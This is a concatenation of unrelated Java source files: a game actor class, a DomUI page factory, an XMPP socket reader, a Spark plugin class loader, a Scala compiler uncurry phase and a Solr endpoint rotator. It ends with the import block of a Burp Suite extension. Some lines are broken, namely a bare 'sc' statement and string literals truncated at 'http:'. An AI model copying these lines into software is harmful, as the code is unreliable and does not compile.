this.flipX = false;
}
/**
* @return true if the character is not moving
*/
public boolean isStill()
{
return moving == Movement.Still;
}
public boolean isHit()
{
return this.isHit;
}
/**
* Have the actor invoke an attack
*/
abstract public void attack();
/**
* @return the direction that the player is facing
*/
final public Direction getDirection()
{
return this.facing;
}
final public Movement getMovement()
{
return this.moving;
}
final public float getMoveRate()
{
return this.moveRate;
}
/**
* Updates what the actor sees and have them react to changes
*/
final protected void updateView()
{
while (actorLock);
actorLock = true;
for (Actor a : actors)
{
boolean sees = (a.position.distance(this.position) < viewRange);
boolean vis = visibility.get(a);
if (vis != sees)
{
visibility.put(a, sees);
if (sees)
reactOnInView(a);
else
reactOnOutOfView(a);
}
}
actorLock = false;
return ;
}
/**
* Have the actor do something once something is within their viewing range
*/
abstract protected void reactOnInView(Actor a);
/**
* Have the actor do something once an actor is out of their viewing range
*/
abstract protected void reactOnOutOfView(Actor a);
/**
* @return true if the actor has more than 0 hp
*/
final public boolean isAlive() {
return this.hp > 0;
}
/**
* Updates on notifications from the world that the actor is observing
* @param o - object that sent the notification
* @param args - type of notification
*/
@Override
public void update(Observable o, Object args)
{
if (args instanceof ActorsRemoved)
{
ActorsRemoved a = (ActorsRemoved)args;
for (Actor actor : a.actors)
{
this.visibility.remove(actor);
}
}
}
}
|
package to.etc.domui.state;
import java.lang.reflect.*;
import to.etc.domui.dom.html.*;
import to.etc.domui.server.*;
import to.etc.domui.util.*;
public class PageMaker {
/**
* This tries to locate the specified page class in the conversation specified, and returns
* null if the page cannot be located. It is a helper function to allow access to components
* from Parts etc.
*/
static public Page findPageInConversation(final IRequestContext rctx, final Class< ? extends UrlPage> clz, final String cid) throws Exception {
if(cid == null)
return null;
String[] cida = DomUtil.decodeCID(cid);
WindowSession cm = rctx.getSession().findWindowSession(cida[0]);
if(cm == null)
throw new IllegalStateException("The WindowSession with wid=" + cida[0] + " has expired.");
ConversationContext cc = cm.findConversation(cida[1]);
if(cc == null)
return null;
//-- Page resides here?
return cc.findPage(clz); // Is this page already current in this context?
}
static Page createPageWithContent(final IRequestContext ctx, final Constructor< ? extends UrlPage> con, final ConversationContext cc, final IPageParameters pp) throws Exception {
UrlPage nc = createPageContent(ctx, con, cc, pp);
Page pg = new Page(nc);
cc.internalRegisterPage(pg, pp);
return pg;
}
/**
* FIXME Needs new name
* @param ctx
* @param con
* @param cc
* @param pp
* @return
* @throws Exception
*/
static private UrlPage createPageContent(final IRequestContext ctx, final Constructor< ? extends UrlPage> con, final ConversationContext cc, final IPageParameters pp) throws Exception {
//-- Create the page.
Class< ? >[] par = con.getParameterTypes();
Object[] args = new Object[par.length];
for(int i = 0; i < par.length; i++) {
Class< ? > pc = par[i];
if(PageParameters.class.isAssignableFrom(pc))
args[i] = pp;
else if(ConversationContext.class.isAssignableFrom(pc))
args[i] = cc;
else
throw new IllegalStateException("?? Cannot assign a value to constructor parameter [" + i + "]: " + pc + " of " + con);
}
UrlPage p;
try {
p = con.newInstance(args);
} catch(InvocationTargetException itx) {
Throwable c = itx.getCause();
if(c instanceof Exception)
throw (Exception) c;
else if(c instanceof Error)
throw (Error) c;
else
throw itx;
}
return p;
}
static public <T extends UrlPage> Constructor<T> getBestPageConstructor(final Class<T> clz, final boolean hasparam) {
Constructor<T>[] car = (Constructor<T>[]) clz.getConstructors(); // Can we kill the idiot that defined this generics idiocy? Please?
Constructor<T> bestcc = null; // Will be set if a conversationless constructor is found
int score = 0;
for(Constructor<T> cc : car) {
//-- Check accessibility
int mod = cc.getModifiers();
if(!Modifier.isPublic(mod))
continue;
Class< ? >[] par = cc.getParameterTypes(); // Zhe parameters
int sc = -1;
if(par == null || par.length == 0) {
if(score < 1)
sc = 1;
} else {
sc = 3; // Better match always
int cnt = 0;
int pcnt = 0;
int nparam = 0; // #of matched constructor parameters
for(Class< ? > pc : par) {
if(ConversationContext.class.isAssignableFrom(pc)) {
cnt++;
sc += 2;
nparam++;
} else if(PageParameters.class.isAssignableFrom(pc) || IPageParameters.class.isAssignableFrom(pc)) {
if(hasparam)
sc++;
else
sc
pcnt++;
nparam++;
}
}
//-- Skip silly constructors
if(cnt > 1 || pcnt > 1) {
WindowSession.LOG.info("Skipping silly constructor: " + cc);
continue;
}
if(nparam != par.length) {
WindowSession.LOG.info("Not all parameters can be filled-in: " + cc);
continue;
}
}
if(sc > score) {
bestcc = cc;
score = sc;
}
}
//-- At this point we *must* have a usable constructor....
if(bestcc == null)
throw new IllegalStateException("The Page class " + clz + " does not have a suitable constructor.");
return bestcc;
}
/**
* Finds the best constructor to use for the given page and the given conversation context.
*
* @param clz
* @param ccclz
* @param hasparam
* @return
*/
static public <T extends UrlPage> Constructor<T> getPageConstructor(final Class<T> clz, final Class< ? extends ConversationContext> ccclz, final boolean hasparam) {
Constructor<T> bestcc = null; // Will be set if a conversationless constructor is found
int score = 0;
for(Constructor<T> cc : (Constructor<T>[]) clz.getConstructors()) { // Generics idiocy requires useless cast.
//-- Check accessibility
int mod = cc.getModifiers();
if(!Modifier.isPublic(mod))
continue;
Class< ? >[] par = cc.getParameterTypes(); // Zhe parameters
if(par == null || par.length == 0)
continue; // Never suitable
boolean acc = false;
int sc = 5; // This-thingies score: def to 5
for(Class< ? > pc : par) {
if(PageParameters.class.isAssignableFrom(pc)) {
if(hasparam)
sc++; // This is a good match
else
sc--; // Not a good match
} else if(ccclz.isAssignableFrom(pc)) { // Can accept the specified context?
acc = true;
} else { // Unknown parameter type?
sc = -100;
break;
}
}
if(!acc) // Conversation not accepted?
continue;
if(sc > score) {
score = sc;
bestcc = cc;
}
}
//-- At this point we *must* have a usable constructor....
if(bestcc == null)
throw new IllegalStateException("The Page class " + clz + " does not have a suitable constructor.");
return bestcc;
}
/* CODING: Conversation creation. */
/**
* Checks to see if the page specified accepts the given conversation class.
* @param pgclz
* @param ccclz
* @return
*/
// static public boolean pageAcceptsConversation(Class<Page> pgclz, Class<? extends ConversationContext> ccclz) {
// Constructor<Page>[] coar = pgclz.getConstructors();
// for(Constructor<Page> c : coar) {
// Class<?>[] par = c.getParameterTypes();
// for(Class<?> pc : par) {
// if(pc.isAssignableFrom(ccclz)) // This constructor accepts this conversation.
// return true;
// return false;
/**
* From a page constructor, get the Conversation class to use.
*
* @param clz
* @return
*/
static public Class< ? extends ConversationContext> getConversationType(final Constructor< ? extends UrlPage> clz) {
Class< ? extends ConversationContext> ccclz = null;
for(Class< ? > pc : clz.getParameterTypes()) {
if(ConversationContext.class.isAssignableFrom(pc)) {
//-- Gotcha!! Cannot have 2,
if(ccclz != null)
throw new IllegalStateException(clz + ": duplicate conversation contexts in constructor??");
ccclz = (Class< ? extends ConversationContext>) pc;
}
}
if(ccclz == null)
return ConversationContext.class;
return ccclz;
}
}
|
package net.sf.plugfy.verifier.violations;
/**
* Violation collected by the verifier represent missing java dependencies
*
* @author keunecke
* @version $Revision$
*/
public class JavaViolation implements Comparable<JavaViolation> {
/** name of a class missing for this violation */
private final String missingTypeName;
/** name of a missing method */
private final String missingMethodName;
/**
* Factory method to create a new violation object
*
* @param typeName
* @param methodName
* @return a new violation object
*/
public static JavaViolation create(final String typeName, final String methodName) {
return new JavaViolation(typeName, methodName);
}
private JavaViolation(final String typeName, final String methodName) {
this.missingTypeName = typeName;
this.missingMethodName = methodName;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + (this.missingMethodName == null ? 0 : this.missingMethodName.hashCode());
result = prime * result + (this.missingTypeName == null ? 0 : this.missingTypeName.hashCode());
return result;
}
@Override
public boolean equals(final Object obj) {
if (obj == null) {
return false;
}
if (this.getClass() != obj.getClass()) {
return false;
}
final JavaViolation other = (JavaViolation) obj;
if (this.missingMethodName == null) {
if (other.missingMethodName != null) {
return false;
}
} else if (!this.missingMethodName.equals(other.missingMethodName)) {
return false;
}
if (this.missingTypeName == null) {
if (other.missingTypeName != null) {
return false;
}
} else if (!this.missingTypeName.equals(other.missingTypeName)) {
return false;
}
return true;
}
@Override
public String toString() {
final StringBuilder builder = new StringBuilder();
builder.append("JavaViolation [");
if (this.missingTypeName != null) {
builder.append("missingType=");
builder.append(this.missingTypeName);
}
if (this.missingMethodName != null) {
builder.append(", ");
builder.append("missingMethod=");
builder.append(this.missingMethodName);
}
builder.append("]");
return builder.toString();
}
@Override
public int compareTo(final JavaViolation o) {
return 0;
}
}
|
package org.jivesoftware.messenger.net;
import java.io.EOFException;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import java.net.Socket;
import java.net.SocketException;
import org.dom4j.Element;
import org.dom4j.io.XPPPacketReader;
import org.jivesoftware.messenger.Connection;
import org.jivesoftware.messenger.PacketRouter;
import org.jivesoftware.messenger.Session;
import org.jivesoftware.messenger.audit.Auditor;
import org.jivesoftware.messenger.auth.UnauthorizedException;
import org.jivesoftware.util.LocaleUtils;
import org.jivesoftware.util.Log;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import org.xmlpull.v1.XmlPullParserFactory;
import org.xmpp.packet.IQ;
import org.xmpp.packet.Message;
import org.xmpp.packet.Presence;
import org.xmpp.packet.Roster;
/**
* Reads XMPP XML from a socket.
*
* @author Derek DeMoro
*/
public class SocketReadThread extends Thread {
/**
* The utf-8 charset for decoding and encoding Jabber packet streams.
*/
private static String CHARSET = "UTF-8";
private static final String ETHERX_NAMESPACE = "http://etherx.jabber.org/streams";
private static final String FLASH_NAMESPACE = "http:
private Socket sock;
private Session session;
private Connection connection;
private String serverName;
/**
* Router used to route incoming packets to the correct channels.
*/
private PacketRouter router;
/**
* Audits incoming data
*/
private Auditor auditor;
private boolean clearSignout = false;
XmlPullParserFactory factory = null;
XPPPacketReader reader = null;
/**
* Create dedicated read thread for this socket.
*
* @param router The router for sending packets that were read
* @param serverName The name of the server this socket is working for
* @param auditor The audit manager that will audit incoming packets
* @param sock The socket to read from
* @param session The session being read
*/
public SocketReadThread(PacketRouter router, String serverName, Auditor auditor, Socket sock,
Session session) {
super("SRT reader");
this.serverName = serverName;
this.router = router;
this.auditor = auditor;
this.session = session;
connection = session.getConnection();
this.sock = sock;
}
/**
* A dedicated thread loop for reading the stream and sending incoming
* packets to the appropriate router.
*/
public void run() {
try {
factory = XmlPullParserFactory.newInstance();
// factory.setNamespaceAware(true);
reader = new XPPPacketReader();
reader.setXPPFactory(factory);
reader.getXPPParser().setInput(new InputStreamReader(sock.getInputStream(),
CHARSET));
// Read in the opening tag and prepare for packet stream
createSession();
// Read the packet stream until it ends
if (session != null) {
readStream();
}
}
catch (EOFException eof) {
// Normal disconnect
}
catch (SocketException se) {
// The socket was closed. The server may close the connection for several reasons (e.g.
// user requested to remove his account). Do nothing here.
}
catch (XmlPullParserException ie) {
// Check if the user abruptly cut the connection without sending previously an
// unavailable presence
if (clearSignout == false) {
if (session != null && session.getStatus() == Session.STATUS_AUTHENTICATED) {
Presence presence = session.getPresence();
if (presence != null) {
// Simulate an unavailable presence sent by the user.
Presence packet = presence.createCopy();
packet.setType(Presence.Type.unavailable);
packet.setFrom(session.getAddress());
router.route(packet);
clearSignout = true;
}
}
}
// It is normal for clients to abruptly cut a connection
// rather than closing the stream document
// Since this is normal behavior, we won't log it as an error
// Log.error(LocaleUtils.getLocalizedString("admin.disconnect"),ie);
}
catch (Exception e) {
if (session != null) {
Log.warn(LocaleUtils.getLocalizedString("admin.error.stream"), e);
}
}
finally {
if (session != null) {
Log.debug("Logging off " + session.getAddress() + " on " + connection);
try {
// Allow everything to settle down after a disconnect
// e.g. presence updates to avoid sending double
// presence unavailable's
sleep(3000);
session.getConnection().close();
}
catch (Exception e) {
Log.warn(LocaleUtils.getLocalizedString("admin.error.connection")
+ "\n" + sock.toString());
}
}
else {
Log.error(LocaleUtils.getLocalizedString("admin.error.connection")
+ "\n" + sock.toString());
}
}
}
/**
* Read the incoming stream until it ends. Much of the reading
* will actually be done in the channel handlers as they run the
* XPP through the data. This method mostly handles the idle waiting
* for incoming data. To prevent clients from stalling channel handlers,
* a watch dog timer is used. Packets that take longer than the watch
* dog limit to read will cause the session to be closed.
*/
private void readStream() throws Exception {
while (true) {
Element doc = reader.parseDocument().getRootElement();
if (doc == null) {
// Stop reading the stream since the client has sent an end of stream element and
// probably closed the connection
return;
}
String tag = doc.getName();
if ("message".equals(tag)) {
Message packet = new Message(doc);
packet.setFrom(session.getAddress());
auditor.audit(packet, session);
router.route(packet);
session.incrementClientPacketCount();
}
else if ("presence".equals(tag)) {
Presence packet = new Presence(doc);
packet.setFrom(session.getAddress());
auditor.audit(packet, session);
router.route(packet);
session.incrementClientPacketCount();
// Update the flag that indicates if the user made a clean sign out
clearSignout = (Presence.Type.unavailable == packet.getType() ? true : false);
}
else if ("iq".equals(tag)) {
IQ packet = getIQ(doc);
packet.setFrom(session.getAddress());
auditor.audit(packet, session);
router.route(packet);
session.incrementClientPacketCount();
}
else {
throw new XmlPullParserException(LocaleUtils.getLocalizedString("admin.error.packet.tag") + tag);
}
}
}
private IQ getIQ(Element doc) {
Element query = doc.element("query");
if (query != null && "jabber:iq:roster".equals(query.getNamespaceURI())) {
return new Roster(doc);
}
else {
return new IQ(doc);
}
}
private void createSession() throws UnauthorizedException, XmlPullParserException, IOException, Exception {
XmlPullParser xpp = reader.getXPPParser();
for (int eventType = xpp.getEventType(); eventType != XmlPullParser.START_TAG;) {
eventType = xpp.next();
}
boolean isFlashClient = xpp.getPrefix().equals("flash");
// Conduct error checking, the opening tag should be 'stream'
// in the 'etherx' namespace
if (!xpp.getName().equals("stream") && !isFlashClient) {
throw new XmlPullParserException(LocaleUtils.getLocalizedString("admin.error.bad-stream"));
}
if (!xpp.getNamespace(xpp.getPrefix()).equals(ETHERX_NAMESPACE) &&
!(isFlashClient && xpp.getNamespace(xpp.getPrefix()).equals(FLASH_NAMESPACE))) {
throw new XmlPullParserException(LocaleUtils.getLocalizedString("admin.error.bad-namespace"));
}
// TODO Should we keep the language requested by the client in the session so that future
// messages to the client may use the correct resource bundle? So far we are only answering
// the same language specified by the client (if any) or if none then answer a default
// language
String language = "en";
for (int i = 0; i < xpp.getAttributeCount(); i++) {
if ("lang".equals(xpp.getAttributeName(i))) {
language = xpp.getAttributeValue(i);
}
}
Writer writer = connection.getWriter();
// Build the start packet response
StringBuffer sb = new StringBuffer();
sb.append("<?xml version='1.0' encoding='");
sb.append(CHARSET);
sb.append("'?>");
if (isFlashClient) {
sb.append("<flash:stream xmlns:flash=\"http:
}
else {
sb.append("<stream:stream ");
}
sb.append("xmlns:stream=\"http://etherx.jabber.org/streams\" xmlns=\"jabber:client\" from=\"");
sb.append(serverName);
sb.append("\" id=\"");
sb.append(session.getStreamID().toString());
sb.append("\" xml:lang=\"");
sb.append(language);
sb.append("\">");
writer.write(sb.toString());
// If this is a flash client then flag the connection and append a special caracter to the
// response
if (isFlashClient) {
session.getConnection().setFlashClient(true);
writer.write('\0');
// Skip possible end of tags and \0 characters
/*final int[] holderForStartAndLength = new int[2];
final char[] chars = xpp.getTextCharacters(holderForStartAndLength);
if (chars[xpp.getColumnNumber()-2] == '/') {
xpp.next();
try {
xpp.next();
}
catch (XmlPullParserException ie) {
// We expect this exception since the parser is reading a \0 character
}
}*/
}
writer.flush();
// TODO: check for SASL support in opening stream tag
}
}
|
package org.jivesoftware.spark.plugin;
import org.jivesoftware.smack.packet.IQ;
import org.jivesoftware.smack.packet.PacketExtension;
import org.jivesoftware.smack.provider.IQProvider;
import org.jivesoftware.smack.provider.PacketExtensionProvider;
import org.jivesoftware.smack.provider.ProviderManager;
import org.jivesoftware.spark.util.URLFileSystem;
import org.jivesoftware.spark.util.log.Log;
import org.xmlpull.mxp1.MXParser;
import org.xmlpull.v1.XmlPullParser;
import java.io.File;
import java.io.FilenameFilter;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.jar.JarFile;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
/**
* A simple classloader to extend the classpath to
* include all jars in a lib directory.<p>
* <p/>
* The new classpath includes all <tt>*.jar files.
*
* @author Derek DeMoro
*/
public class PluginClassLoader extends URLClassLoader {
/**
* Constructs the classloader.
*
* @param parent the parent class loader (or null for none).
* @param libDir the directory to load jar files from.
* @throws java.net.MalformedURLException if the libDir path is not valid.
*/
public PluginClassLoader(ClassLoader parent, File libDir) throws MalformedURLException {
super(new URL[]{libDir.toURL()}, parent);
}
/**
* Adds all archives in a plugin to the classpath.
*
* @param pluginDir the directory of the plugin.
* @throws MalformedURLException the exception thrown if URL is not valid.
*/
public void addPlugin(File pluginDir) throws MalformedURLException {
File libDir = new File(pluginDir, "lib");
File[] jars = libDir.listFiles(new FilenameFilter() {
public boolean accept(File dir, String name) {
boolean accept = false;
String smallName = name.toLowerCase();
if (smallName.endsWith(".jar")) {
accept = true;
}
else if (smallName.endsWith(".zip")) {
accept = true;
}
return accept;
}
});
// Do nothing if no jar or zip files were found
if (jars == null) {
return;
}
for (int i = 0; i < jars.length; i++) {
if (jars[i].isFile()) {
final URL url = jars[i].toURL();
addURL(url);
try {
checkForSmackProviders(url);
}
catch (Exception e) {
Log.error(e);
}
}
}
}
private void checkForSmackProviders(URL jarURL) throws Exception {
ZipFile zipFile = new JarFile(URLFileSystem.url2File(jarURL));
ZipEntry entry = zipFile.getEntry("META-INF/smack.providers");
if (entry != null) {
InputStream zin = zipFile.getInputStream(entry);
loadSmackProvider(zin);
}
}
private void loadSmackProvider(InputStream providerStream) throws Exception {
// Get an array of class loaders to try loading the providers files from.
try {
XmlPullParser parser = new MXParser();
parser.setFeature(XmlPullParser.FEATURE_PROCESS_NAMESPACES, true);
parser.setInput(providerStream, "UTF-8");
int eventType = parser.getEventType();
do {
if (eventType == XmlPullParser.START_TAG) {
if (parser.getName().equals("iqProvider")) {
parser.next();
parser.next();
String elementName = parser.nextText();
parser.next();
parser.next();
String namespace = parser.nextText();
parser.next();
parser.next();
String className = parser.nextText();
// Only add the provider for the namespace if one isn't
// already registered.
// Attempt to load the provider class and then create
// a new instance if it's an IQProvider. Otherwise, if it's
// an IQ class, add the class object itself, then we'll use
// reflection later to create instances of the class.
try {
// Add the provider to the map.
Class provider = this.loadClass(className);
if (IQProvider.class.isAssignableFrom(provider)) {
ProviderManager.addIQProvider(elementName, namespace, provider.newInstance());
}
else if (IQ.class.isAssignableFrom(provider)) {
ProviderManager.addIQProvider(elementName, namespace, provider.newInstance());
}
}
catch (ClassNotFoundException cnfe) {
cnfe.printStackTrace();
}
}
else if (parser.getName().equals("extensionProvider")) {
parser.next();
parser.next();
String elementName = parser.nextText();
parser.next();
parser.next();
String namespace = parser.nextText();
parser.next();
parser.next();
String className = parser.nextText();
// Only add the provider for the namespace if one isn't
// already registered.
// Attempt to load the provider class and then create
// a new instance if it's a Provider. Otherwise, if it's
// a PacketExtension, add the class object itself and
// then we'll use reflection later to create instances
// of the class.
try {
// Add the provider to the map.
Class provider = this.loadClass(className);
if (PacketExtensionProvider.class.isAssignableFrom(
provider)) {
ProviderManager.addExtensionProvider(elementName, namespace, provider.newInstance());
}
else if (PacketExtension.class.isAssignableFrom(
provider)) {
ProviderManager.addExtensionProvider(elementName, namespace, provider.newInstance());
}
}
catch (ClassNotFoundException cnfe) {
cnfe.printStackTrace();
}
}
}
eventType = parser.next();
}
while (eventType != XmlPullParser.END_DOCUMENT);
}
finally {
try {
providerStream.close();
}
catch (Exception e) {
}
}
}
}
|
package scalac.transformer;
import java.io.*;
import java.util.*;
import scalac.*;
import scalac.util.*;
import scalac.ast.*;
import scalac.symtab.*;
import Tree.*;
import scalac.typechecker.DeSugarize ;
/** - uncurry all symbol and tree types (@see UnCurryPhase)
* - for every curried parameter list: (ps_1) ... (ps_n) ==> (ps_1, ..., ps_n)
* - for every curried application: f(args_1)...(args_n) ==> f(args_1, ..., args_n)
* - for every type application: f[Ts] ==> f[Ts]() unless followed by parameters
* - for every use of a parameterless function: f ==> f() and q.f ==> q.f()
* - for every def-parameter: def x: T ==> x: () => T
* - for every use of a def-parameter: x ==> x.apply()
* - for every argument to a def parameter `def x: T':
* if argument is not a reference to a def parameter:
* convert argument `e' to (expansion of) `() => e'
* - for every argument list that corresponds to a repeated parameter
* (a_1, ..., a_n) => (Sequence(a_1, ..., a_n))
* - for every argument list that is an escaped sequence
* (a_1:_*) => (a_1)
*/
public class UnCurry extends OwnerTransformer
implements Modifiers {
UnCurryPhase descr;
Unit unit;
public UnCurry(Global global, UnCurryPhase descr) {
super(global);
this.descr = descr;
}
public void apply(Unit unit) {
super.apply(unit);
this.unit = unit;
}
/** (ps_1) ... (ps_n) => (ps_1, ..., ps_n)
*/
ValDef[][] uncurry(ValDef[][] params) {
int n = 0;
for (int i = 0; i < params.length; i++)
n = n + params[i].length;
ValDef[] ps = new ValDef[n];
int j = 0;
for (int i = 0; i < params.length; i++) {
System.arraycopy(params[i], 0, ps, j, params[i].length);
j = j + params[i].length;
}
return new ValDef[][]{ps};
}
/** tree of non-method type T ==> same tree with method type ()T
*/
Tree asMethod(Tree tree) {
switch (tree.type) {
case MethodType(_, _):
return tree;
default:
return tree.setType(
Type.MethodType(Symbol.EMPTY_ARRAY, tree.type.widen()));
}
}
/** apply parameterless functions and def parameters
*/
Tree applyDef(Tree tree1) {
assert tree1.symbol() != null : tree1;
switch (tree1.symbol().type()) {
case PolyType(Symbol[] tparams, Type restp):
if (tparams.length == 0 && !(restp instanceof Type.MethodType)) {
return gen.Apply(asMethod(tree1), new Tree[0]);
} else {
return tree1;
}
default:
if (tree1.symbol().isDefParameter()) {
tree1.type = global.definitions.functionType(
Type.EMPTY_ARRAY, tree1.type.widen());
return gen.Apply(gen.Select(tree1, global.definitions.FUNCTION_APPLY(0)));
} else {
return tree1;
}
}
}
/** - uncurry all symbol and tree types (@see UnCurryPhase)
* - for every curried parameter list: (ps_1) ... (ps_n) ==> (ps_1, ..., ps_n)
* - for every curried application: f(args_1)...(args_n) ==> f(args_1, ..., args_n)
* - for every type application: f[Ts] ==> f[Ts]() unless followed by parameters
* - for every use of a parameterless function: f ==> f() and q.f ==> q.f()
* - for every def-parameter: def x: T ==> x: () => T
* - for every use of a def-parameter: x ==> x.apply()
* - for every argument to a def parameter `def x: T':
* if argument is not a reference to a def parameter:
* convert argument `e' to (expansion of) `() => e'
* - for every argument list that corresponds to a repeated parameter
* (a_1, ..., a_n) => (Sequence(a_1, ..., a_n))
*/
public Tree transform(Tree tree) {
//new scalac.ast.printer.TextTreePrinter().print("uncurry: ").print(tree).println().end();//DEBUG
//uncurry type and symbol
if (tree.type != null) tree.type = descr.uncurry(tree.type);
switch (tree) {
case ClassDef(_, _, AbsTypeDef[] tparams, ValDef[][] vparams, Tree tpe, Template impl):
return copy.ClassDef(
tree, tree.symbol(), tparams,
uncurry(transform(vparams, tree.symbol())),
tpe,
transform(impl, tree.symbol()));
case DefDef(_, _, AbsTypeDef[] tparams, ValDef[][] vparams, Tree tpe, Tree rhs):
Tree rhs1 = transform(rhs, tree.symbol());
return copy.DefDef(
tree, tree.symbol(), tparams,
uncurry(transform(vparams, tree.symbol())),
tpe, rhs1);
case ValDef(_, _, Tree tpe, Tree rhs):
if (tree.symbol().isDefParameter()) {
Type newtype = global.definitions.functionType(Type.EMPTY_ARRAY, tpe.type);
Tree tpe1 = gen.mkType(tpe.pos, newtype);
return copy.ValDef(tree, tpe1, rhs).setType(newtype);
} else {
return super.transform(tree);
}
case TypeApply(Tree fn, Tree[] args):
Tree tree1 = asMethod(super.transform(tree));
return gen.Apply(tree1, new Tree[0]);
case Apply(Tree fn, Tree[] args):
// f(x)(y) ==> f(x, y)
// argument to parameterless function e => ( => e)
Type ftype = fn.type;
Tree fn1 = transform(fn);
Tree[] args1 = transformArgs(tree.pos, args, ftype);
if (TreeInfo.methSymbol(fn1) == global.definitions.MATCH &&
!(args1[0] instanceof Tree.Visitor)) {
switch (TreeInfo.methPart(fn1)) {
case Select(Tree qual, Name name):
assert name == Names.match;
return gen.postfixApply(qual, args1[0], currentOwner);
default:
throw new ApplicationError("illegal prefix for match: " + tree);
}
} else {
switch (fn1) {
case Apply(Tree fn2, Tree[] args2):
Tree[] newargs = new Tree[args1.length + args2.length];
System.arraycopy(args2, 0, newargs, 0, args2.length);
System.arraycopy(args1, 0, newargs, args2.length, args1.length);
return copy.Apply(tree, fn2, newargs);
default:
return copy.Apply(tree, fn1, args1);
}
}
case Select(_, _):
return applyDef(super.transform(tree));
case Ident(Name name):
if (name == TypeNames.WILDCARD_STAR) {
unit.error(tree.pos, " argument does not correspond to `*'-parameter");
return tree;
} else if (TreeInfo.isWildcardPattern(tree)) {
return tree;
} else {
return applyDef(super.transform(tree));
}
default:
return super.transform(tree);
}
}
// java.util.HashSet visited = new java.util.HashSet();//DEBUG
/** Transform arguments `args' to method with type `methtype'.
*/
private Tree[] transformArgs(int pos, Tree[] args, Type methtype) {
// if (args.length != 0 && visited.contains(args)) {
// new scalac.ast.printer.TextTreePrinter().print("dup args: ").print(make.Block(pos, args)).println().end();//DEBUG
// assert false;
// visited.add(args);//DEBUG
switch (methtype) {
case MethodType(Symbol[] params, _):
if (params.length == 1 && (params[0].flags & REPEATED) != 0) {
args = toSequence(pos, params, args);
}
Tree[] args1 = args;
for (int i = 0; i < args.length; i++) {
Tree arg = args[i];
Tree arg1 = transformArg(arg, params[i]);
if (arg1 != arg && args1 == args) {
args1 = new Tree[args.length];
System.arraycopy(args, 0, args1, 0, i);
}
args1[i] = arg1;
}
return args1;
case PolyType(_, Type restp):
return transformArgs(pos, args, restp);
default:
if (args.length == 0) return args; // could be arguments of nullary case pattern
else throw new ApplicationError(methtype);
}
}
/** converts `a_1,...,a_n' to Seq(a_1,...,a_n)
* if a_1 is an escaped sequence as in x:_*, takes care of
* escaping
*/
private Tree[] toSequence(int pos, Symbol[] params, Tree[] args) {
assert (args.length != 1 || !(args[0] instanceof Tree.Sequence));
if (args.length == 1) {
switch (args[0]) {
case Typed(Tree arg, Ident(TypeNames.WILDCARD_STAR)):
return new Tree[]{arg};
}
}
return new Tree[]{make.Sequence( pos, args ).setType(params[0].type())};
}
/** for every argument to a def parameter `def x: T':
* if argument is not a reference to a def parameter:
* convert argument `e' to (expansion of) `() => e'
*/
private Tree transformArg(Tree arg, Symbol formal) {
if ((formal.flags & DEF) != 0) {
Symbol sym = arg.symbol();
if (sym != null && (sym.flags & DEF) != 0) {
Tree arg1 = transform(arg);
switch (arg1) {
case Apply(Select(Tree qual, Name name), Tree[] args1):
assert name == Names.apply && args1.length == 0;
return qual;
default:
global.debugPrinter.print(arg1).flush();//debug
throw new ApplicationError();
}
}
return transform(
gen.mkUnitFunction(arg, descr.uncurry(arg.type.widen()), currentOwner));
} else {
return transform(arg);
}
}
}
|
package bamboo.trove.common;
import au.gov.nla.trove.indexer.api.AcknowledgableSolrInputDocument;
import au.gov.nla.trove.indexer.api.AcknowledgeWorker;
import au.gov.nla.trove.indexer.api.EndPointDomainManager;
import org.apache.solr.common.SolrInputDocument;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;
/**
* This class exists purely for diagnostic purposes. When testing performance improvements with multiple options for
* talking to Solr, this class was added as a way of hotswapping in new end points without restarting. The indexer UI
* was similarly altered to graph each endpoint independently.
*
* NOTE: This was not strongly considered in terms of thread safety for production use as it is a diagnostic class.
*/
public class EndPointRotator {
private static final Logger log = LoggerFactory.getLogger(EndPointRotator.class);
private static final int MINS = 5;
private static final long ROTATION_TIMEOUT_MS = 1000 * 60 * MINS;
private static Timer timer;
static {
timer = new Timer();
timer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
tick();
}
}, 0, ROTATION_TIMEOUT_MS);
}
private static final List<EndPointDomainManager> endPoints = new ArrayList<>();
private static int index = 0;
private static void tick() {
if ((index + 1) >= endPoints.size()) {
index = 0;
} else {
index++;
}
}
public static void registerNewEndPoint(EndPointDomainManager manager) {
endPoints.add(manager);
}
public static void add(SolrInputDocument doc, AcknowledgeWorker worker) {
// Only make one call to get() in case the index changes whilst we are inside this method
EndPointDomainManager endPoint = endPoints.get(index);
if (endPoint.supportsAsyncAdd()) {
endPoint.addAsync(new AsyncDocWrapper(doc, worker));
} else {
endPoint.add(doc, worker);
}
}
static class AsyncDocWrapper implements AcknowledgableSolrInputDocument {
private SolrInputDocument document;
private AcknowledgeWorker acknowledgeWorker;
AsyncDocWrapper(SolrInputDocument document, AcknowledgeWorker acknowledgeWorker) {
this.document = document;
this.acknowledgeWorker = acknowledgeWorker;
}
@Override
public SolrInputDocument getSolrDocument() {
return document;
}
@Override
public void acknowledge(SolrInputDocument solrInputDocument) {
acknowledgeWorker.acknowledge(solrInputDocument);
}
@Override
public void errorProcessing(SolrInputDocument solrInputDocument, Throwable throwable) {
acknowledgeWorker.errorProcessing(solrInputDocument, throwable);
}
}
}
|
package burp;
import java.util.regex.*;
import java.awt.BorderLayout;
import java.awt.GridLayout;
import java.awt.Font;
import java.awt.Component;
import java.awt.Dimension;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import java.net.URL;
import javax.swing.JButton;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTabbedPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.ScrollPaneConstants;
import javax.swing.SwingUtilities;
import org.apache.commons.codec.binary.Base64;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
import burp.ITab;
